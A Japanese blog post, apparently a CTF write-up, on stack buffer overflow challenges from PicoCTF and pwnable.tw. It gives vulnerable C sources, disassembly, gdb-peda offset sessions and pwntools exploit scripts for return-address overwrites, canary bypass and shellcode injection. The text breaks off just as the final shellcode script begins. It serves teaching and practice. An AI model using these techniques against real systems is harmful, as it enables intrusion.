Pwnable - 典型問題シリーズ
- Stack Overflow編 (本記事)
- ROP編
- Heap Exploit編
- FSB編
- その他編
目次
- PicoCTF : loal-target
- PicoCTF : clutter-overflow
- PicoCTF : buffer-overflow-0
- PicoCTF : buffer-overflow-1
- PicoCTF : buffer-overflow-2
- PicoCTF : buffer-overflow-3
- pwnable.tw: start
local-target
何とかして、num
を65にしたい。ここで、gets
関数が書き込み対象の配列サイズをチェックせずに、入力データを書き込むことに注意すると、スタックをオーバーフローさせることでnum
を改変させることができそう。
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *fptr;
char c;
char input[16];
int num = 64;
printf("Enter a string: ");
fflush(stdout);
gets(input);
printf("\n");
printf("num is %d\n", num);
fflush(stdout);
if( num == 65 ){
printf("You win!\n");
fflush(stdout);
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
fflush(stdout);
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
fflush(stdout);
printf("\n");
fflush(stdout);
fclose(fptr);
exit(0);
}
printf("Bye!\n");
fflush(stdout);
}
num
がスタックのどこに位置しているかを、アセンブリで確認してみる。
# 逆アセンブリ
objdump -d local-target
0000000000401236 <main>:
401236: f3 0f 1e fa endbr64
40123a: 55 push %rbp
40123b: 48 89 e5 mov %rsp,%rbp
40123e: 48 83 ec 20 sub $0x20,%rsp
401242: c7 45 f8 40 00 00 00 movl $0x40,-0x8(%rbp) # numに64を代入
401249: 48 8d 3d b4 0d 00 00 lea 0xdb4(%rip),%rdi # 402004 <_IO_stdin_used+0x4>
401250: b8 00 00 00 00 mov $0x0,%eax
401255: e8 96 fe ff ff call 4010f0 <printf@plt>
40125a: 48 8b 05 0f 2e 00 00 mov 0x2e0f(%rip),%rax # 404070 <stdout@GLIBC_2.2.5>
401261: 48 89 c7 mov %rax,%rdi
401264: e8 b7 fe ff ff call 401120 <fflush@plt>
401269: 48 8d 45 e0 lea -0x20(%rbp),%rax
40126d: 48 89 c7 mov %rax,%rdi
401270: b8 00 00 00 00 mov $0x0,%eax
401275: e8 96 fe ff ff call 401110 <gets@plt> # stack overflowの危険
40127a: bf 0a 00 00 00 mov $0xa,%edi
スタックの中身は以下のようになっている。
|___________|
| | <- `input`のスタート位置
| 0x20 byte |
| |
| | <- `num` is stored in -0x8(%rbp)
|___________|
| rbp |
from pwn import *
import binascii
context.log_level = 'error'
# r = process("./local-target")
r = remote("saturn.picoctf.net", 61750)
r.recvuntil(b"Enter a string:")
# 0x20 - 0x8 =
r.sendline(b"A"*24 + p64(65))
r.recvall()
clutter-overflow
clutter
をオーバーフローさせて、code
をGOAL
と同じ値にする。
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
main
関数の最初の2行に相当するアセンブリは以下の通り。
00000000004006c7 <main>:
4006c7: 55 push %rbp
4006c8: 48 89 e5 mov %rsp,%rbp
4006cb: 48 81 ec 10 01 00 00 sub $0x110,%rsp
4006d2: 48 c7 45 f8 00 00 00 movq $0x0,-0x8(%rbp)
つまり、スタックの中身は以下のようになっている。
-------------------
clutter
(0x110 - 0x8バイト)
-------------------
code
(0x88バイト)
-------------------
rbp
-------------------
よって、解答は以下の通り。
from pwn import *
r = process("./chall")
r = remote("mars.picoctf.net", 31890)
r.recvuntil(b"What do you see?")
r.sendline(b"A"*(0x110 - 0x8) + p64(0xdeadbeef))
r.recvall()
buffer-overflow-0
sissegv_handler
はSIGSEGVのシグナルハンドラとして登録されているので、segfaultを起こせば、フラグを出力するsissegv_handler
を呼び出すことができる。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#define FLAGSIZE_MAX 64
char flag[FLAGSIZE_MAX];
void sigsegv_handler(int sig) {
printf("%s\n", flag);
fflush(stdout);
exit(1);
}
void vuln(char *input){
char buf2[16];
strcpy(buf2, input);
}
int main(int argc, char **argv){
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(flag,FLAGSIZE_MAX,f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
gid_t gid = getegid();
setresgid(gid, gid, gid);
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will exit now\n");
return 0;
}
buffer-overflow-1
vuln
にはスタックオーバフローの脆弱性があるので、この脆弱性を利用してvuln
のリターンアドレスをwin
に変える。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
08049281 <vuln>:
8049281: f3 0f 1e fb endbr32
8049285: 55 push %ebp
8049286: 89 e5 mov %esp,%ebp
8049288: 53 push %ebx
8049289: 83 ec 24 sub $0x24,%esp
804928c: e8 9f fe ff ff call 8049130 <__x86.get_pc_thunk.bx>
8049291: 81 c3 6f 2d 00 00 add $0x2d6f,%ebx
8049297: 83 ec 0c sub $0xc,%esp
804929a: 8d 45 d8 lea -0x28(%ebp),%eax
804929d: 50 push %eax
804929e: e8 ad fd ff ff call 8049050 <gets@plt>
80492a3: 83 c4 10 add $0x10,%esp
80492a6: e8 93 00 00 00 call 804933e <get_return_address>
80492ab: 83 ec 08 sub $0x8,%esp
80492ae: 50 push %eax
80492af: 8d 83 64 e0 ff ff lea -0x1f9c(%ebx),%eax
80492b5: 50 push %eax
80492b6: e8 85 fd ff ff call 8049040 <printf@plt>
80492bb: 83 c4 10 add $0x10,%esp
80492be: 90 nop
80492bf: 8b 5d fc mov -0x4(%ebp),%ebx
80492c2: c9 leave
80492c3: c3 ret
get
を呼び出す直前のスタックは以下の通り
--------------------- <- esp
0xc bytes
--------------------- <- bufの先頭
0x24 bytes
---------------------
saved rbp (0x8 bytes)
---------------------
return address
---------------------
win_addr = 0x80491f6
r = process("./vuln")
r.recvuntil(b"Please enter your string:")
r.sendline(b"A"*44+p64(win_addr))
r.recvall()
buffer-overflow-2
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
アーキテクチャは32ビットであることに注意。
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
vuln
のリターンアドレスをwin
のアドレスに書き換え、かつwin
に渡される二つの引数を0xCAFEF00Dと0xF00DF00Dにすればよい。
まず、gdb-pedaを使ってvuln
内のbufからリターンアドレスまでのオフセットを求める。
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ pattern create 200 dummyinput
gdb-peda$ run < dummyinput
Starting program: /picoctf/buffer-overflow-2/vuln < dummyinput
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
[----------------------------------registers-----------------------------------]
EAX: 0xc9
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0xf7fa79b4 --> 0x0
EDX: 0x1
ESI: 0xffffcca4 --> 0xffffcdea
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffcbb8 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
ESP: 0xffffcb40 --> 0xf7fa6da0 --> 0xfbad2887
EIP: 0x804936c (<vuln+52>: nop)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049363 <vuln+43>: push eax
0x8049364 <vuln+44>: call 0x8049120 <puts@plt>
0x8049369 <vuln+49>: add esp,0x10
=> 0x804936c <vuln+52>: nop
0x804936d <vuln+53>: mov ebx,DWORD PTR [ebp-0x4]
0x8049370 <vuln+56>: leave
0x8049371 <vuln+57>: ret
0x8049372 <main>: endbr32
[------------------------------------stack-------------------------------------]
0000| 0xffffcb40 --> 0xf7fa6da0 --> 0xfbad2887
0004| 0xffffcb44 --> 0xf7fa6de7 --> 0xfa79b40a
0008| 0xffffcb48 --> 0x1
0012| 0xffffcb4c ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffcb50 ("AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffcb54 ("ABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffcb58 ("$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffcb5c ("AACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804936c in vuln () # vulnの終了直前にブレークポイントを置いた
gdb-peda$ pattern offset MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 108
ebp(関数を最初に読んだ時のスタックの底を表す)までのオフセットが108であり、リターンアドレスはその一つしたにあるはずなので、108 (ebpまでのオフセット) + 4 (ebp自身) = 112バイト分のパディングをすればよい。
32ビットでは関数の引数はすべてスタックの上から読み込まれるので、win
に渡したい値をさらにその下に配置する。
from pwn import *
offset = 108 + 4 #112
win_addr = 0x08049296
argv1 = 0xCAFEF00D
argv2 = 0xF00DF00D
r = process("./vuln")
r.recvuntil(b"Please enter your string:")
r.sendline(b"A"*offset + p32(win_addr) + p32(0x1) + p32(argv1) + p32(argv2))
print(r.recvline())
print(r.recvline())
buffer-overflow-3
これまでとは異なり、カナリアを用いたオーバーフロー検知を回避する必要がある。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
#define CANARY_SIZE 4
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
fflush(stdout);
exit(0);
}
fgets(buf,FLAGSIZE,f); // size bound read
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'canary.txt' in this directory with your",
"own debugging canary.\n");
fflush(stdout);
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately
fflush(stdout);
exit(0);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
buffer-overflow-2と同様に、まずはbufからリターンアドレスまでのオフセットを求める。
gdb-peda$ run
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
How Many Bytes will You Write Into the Buffer?
> 200
Input> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0xc8
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0xffffcb68 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EDX: 0xc8
ESI: 0xffffcca4 --> 0xffffcde4
EDI: 0xf7ffcb80 --> 0x0
EBP: 0xffffcbb8 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
ESP: 0xffffcb10 --> 0x0
EIP: 0x8049549 (<vuln+192>: add esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049541 <vuln+184>: push eax
0x8049542 <vuln+185>: push 0x0
0x8049544 <vuln+187>: call 0x8049130 <read@plt>
=> 0x8049549 <vuln+192>: add esp,0x10
0x804954c <vuln+195>: sub esp,0x4
0x804954f <vuln+198>: push 0x4
0x8049551 <vuln+200>: mov eax,0x804c054
0x8049557 <vuln+206>: push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcb10 --> 0x0
0004| 0xffffcb14 --> 0xffffcb68 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffcb18 --> 0xc8
0012| 0xffffcb1c --> 0x804949c (<vuln+19>: add ebx,0x2b64)
0016| 0xffffcb20 --> 0x804d1a0 --> 0x804d
0020| 0xffffcb24 --> 0xc8
0024| 0xffffcb28 ("200\n")
0028| 0xffffcb2c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08049549 in vuln ()
gdb-peda$
gdb-peda$ pattern offset AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA found at offset: 80
小ネタ: gdb-pedaでは以下のようにして、任意のアドレスやその近傍の中身を表示できる。
gdb-peda$ x/-10xw $ebp 0xffffcb90: 0x61616161 0x61616161 0x61616161 0x61616161 0xffffcba0: 0x61616161 0x61616161 0x41414141 0x61616161 0xffffcbb0: 0x61616161 0x61616161
ebpまでのオフセットが80なので、リターンアドレスを書き換えるために必要なパディングは84バイトである。
またカナリア用の領域を確保した上で、64バイト分のbufを確保しているので、bufからカナリアまでのオフセットは64バイトである。
カナリアがちょうど4バイトなので、仮にカナリアが判明していると仮定すると、以下のスクリプトでフラグを表示できる。
win_addr = 0x08049336
query = b"a"*64 + carnary + b"a" * 16 + p32(win_addr)
print(query, len(query))
r = process("./vuln")
print(r.recvuntil(b">"))
r.sendline(b"88")
print(r.recvuntil(b">"))
r.sendline(query)
print(r.recvline())
print(r.recvline())
カナリアは高々4バイトなので、グリーディーもしくはブルートフォースで試していけばよい。
start
ソースコードは配布されていないので、まずバイナリを逆アセンブリする。
start: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 54 push %esp
8048061: 68 9d 80 04 08 push $0x804809d
8048066: 31 c0 xor %eax,%eax
8048068: 31 db xor %ebx,%ebx
804806a: 31 c9 xor %ecx,%ecx
804806c: 31 d2 xor %edx,%edx
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
8048091: 31 db xor %ebx,%ebx
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
8048099: 83 c4 14 add $0x14,%esp
804809c: c3 ret
0804809d <_exit>:
804809d: 5c pop %esp
804809e: 31 c0 xor %eax,%eax
80480a0: 40 inc %eax
80480a1: cd 80 int $0x80
以下の部分でスタックに文字列"Let's start the CTF:"をスタックに積んでる。
804806e: 68 43 54 46 3a push $0x3a465443
8048073: 68 74 68 65 20 push $0x20656874
8048078: 68 61 72 74 20 push $0x20747261
804807d: 68 73 20 73 74 push $0x74732073
8048082: 68 4c 65 74 27 push $0x2774654c
この時、スタックは以下のようになっている。
|------------------------| <- esp
| "Let's start the CTF:" |
| (20 bytes) |
|------------------------|
| $0x804809d | <- return address (poiting to `_exit`)
|------------------------|
| startに入ったときのesp |
|------------------------| <- start時のesp
以下の部分で、"Let's start the CTF:"を標準(0x1)出力(コード=0x4)している。
8048087: 89 e1 mov %esp,%ecx
8048089: b2 14 mov $0x14,%dl
804808b: b3 01 mov $0x1,%bl
804808d: b0 04 mov $0x4,%al
804808f: cd 80 int $0x80
レジスタ 値
eax 4 システムコール番号
ebx 1 write()の第1引数 - 出力先ファイルディスクリプタ。標準出力は1
ecx $esp write()の第2引数 - 出力するデータのアドレス
edx 0x14 write()の第3引数 - 出力するデータのサイズ
以下の部分で、0x3c=60バイト分の読み込み(コード=0x3)を行っている。
8048093: b2 3c mov $0x3c,%dl
8048095: b0 03 mov $0x3,%al
8048097: cd 80 int $0x80
linuxではASLRがデフォルトで有効になっているので、$espの値は毎回変わる。ちなみに、gdbでバイナリを実行するとASLRをデフォルトで無効にするので、明示的にオフにする必要がある。
gdb-peda$ set disable-randomization off
gdb-peda$ b *0x8048066
Breakpoint 1 at 0x8048066
gdb-peda$ r
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.
Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xffa81f28 --> 0x804809d (<_exit>: pop esp)
EIP: 0x8048066 (<_start+6>: xor eax,eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804805e: add BYTE PTR [eax],al
0x8048060 <_start>: push esp
0x8048061 <_start+1>: push 0x804809d
=> 0x8048066 <_start+6>: xor eax,eax
0x8048068 <_start+8>: xor ebx,ebx
0x804806a <_start+10>: xor ecx,ecx
0x804806c <_start+12>: xor edx,edx
0x804806e <_start+14>: push 0x3a465443
[------------------------------------stack-------------------------------------]
0000| 0xffa81f28 --> 0x804809d (<_exit>: pop esp)
0004| 0xffa81f2c --> 0xffa81f30 --> 0x1
0008| 0xffa81f30 --> 0x1
0012| 0xffa81f34 --> 0xffa83e1b
0016| 0xffa81f38 --> 0x0
0020| 0xffa81f3c --> 0xffa83e55 ("SHELL=/bin/bash")
0024| 0xffa81f40 --> 0xffa83e65 ("WSL_DISTRO_NAME=Ubuntu")
0028| 0xffa81f44 --> 0xffa83e7c ("NAME=DESKTOP-04DSEHM")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048066 in _start ()
gdb-peda$ r
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0x0
ESP: 0xff890948 --> 0x804809d (<_exit>: pop esp)
EIP: 0x8048066 (<_start+6>: xor eax,eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804805e: add BYTE PTR [eax],al
0x8048060 <_start>: push esp
0x8048061 <_start+1>: push 0x804809d
=> 0x8048066 <_start+6>: xor eax,eax
0x8048068 <_start+8>: xor ebx,ebx
0x804806a <_start+10>: xor ecx,ecx
0x804806c <_start+12>: xor edx,edx
0x804806e <_start+14>: push 0x3a465443
[------------------------------------stack-------------------------------------]
0000| 0xff890948 --> 0x804809d (<_exit>: pop esp)
0004| 0xff89094c --> 0xff890950 --> 0x1
0008| 0xff890950 --> 0x1
0012| 0xff890954 --> 0xff891e1b
0016| 0xff890958 --> 0x0
0020| 0xff89095c --> 0xff891e55 ("SHELL=/bin/bash")
0024| 0xff890960 --> 0xff891e65 ("WSL_DISTRO_NAME=Ubuntu")
0028| 0xff890964 --> 0xff891e7c ("NAME=DESKTOP-04DSEHM")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048066 in _start ()
攻撃の方針としては、20バイト分しかスタック領域が確保されていないのにもかかわらず、60バイト分スタックに書き込めることを用いて、シェルコードの実行を目指す。つまり、以下のようなスタック状態をret時に実現したい。
|----------------------| <- esp
| address of shellcode | <- return address
|----------------------|
| shellcode |
|----------------------|
最初の準備として、return addressオーバーフローによる上書きでを0x8048087にすることで、start時のespを表示する。
r.send(b'A'*0x14 + p32(0x08048087))
esp = u32(r.recv(4))
print("esp: ", esp, hex(esp))
# retが終わり、08048087に戻ったときのスタックの様子
| (first padding) |
|-----------------|
| (0x8048087) |
|-----------------| <- 現在のesp = ecx = (start時のesp - 4)
| start時のesp |
|-----------------| <- start時のesp
そのあともプログラムは続くので、再び入力を行うことができる。現在のespを先頭にして入力が書き込まれるので、20バイト分をパディングとして用い、シェルコードを(現在のesp + 24 = start時のesp + 20)に配置すればよい。
|-----------------| <- esp = ecx
| second padding | <- start時のesp = esp + 4
| (20 byte) |
|-----------------|
|start時のesp + 20| (4 byte)
|-----------------| <- start時のesp + 20
| shellcode |
|-----------------|
攻撃用スクリプトは全体として以下の通りとなる。
from pwn import *
"""
shell_code = asm('\n'.join([
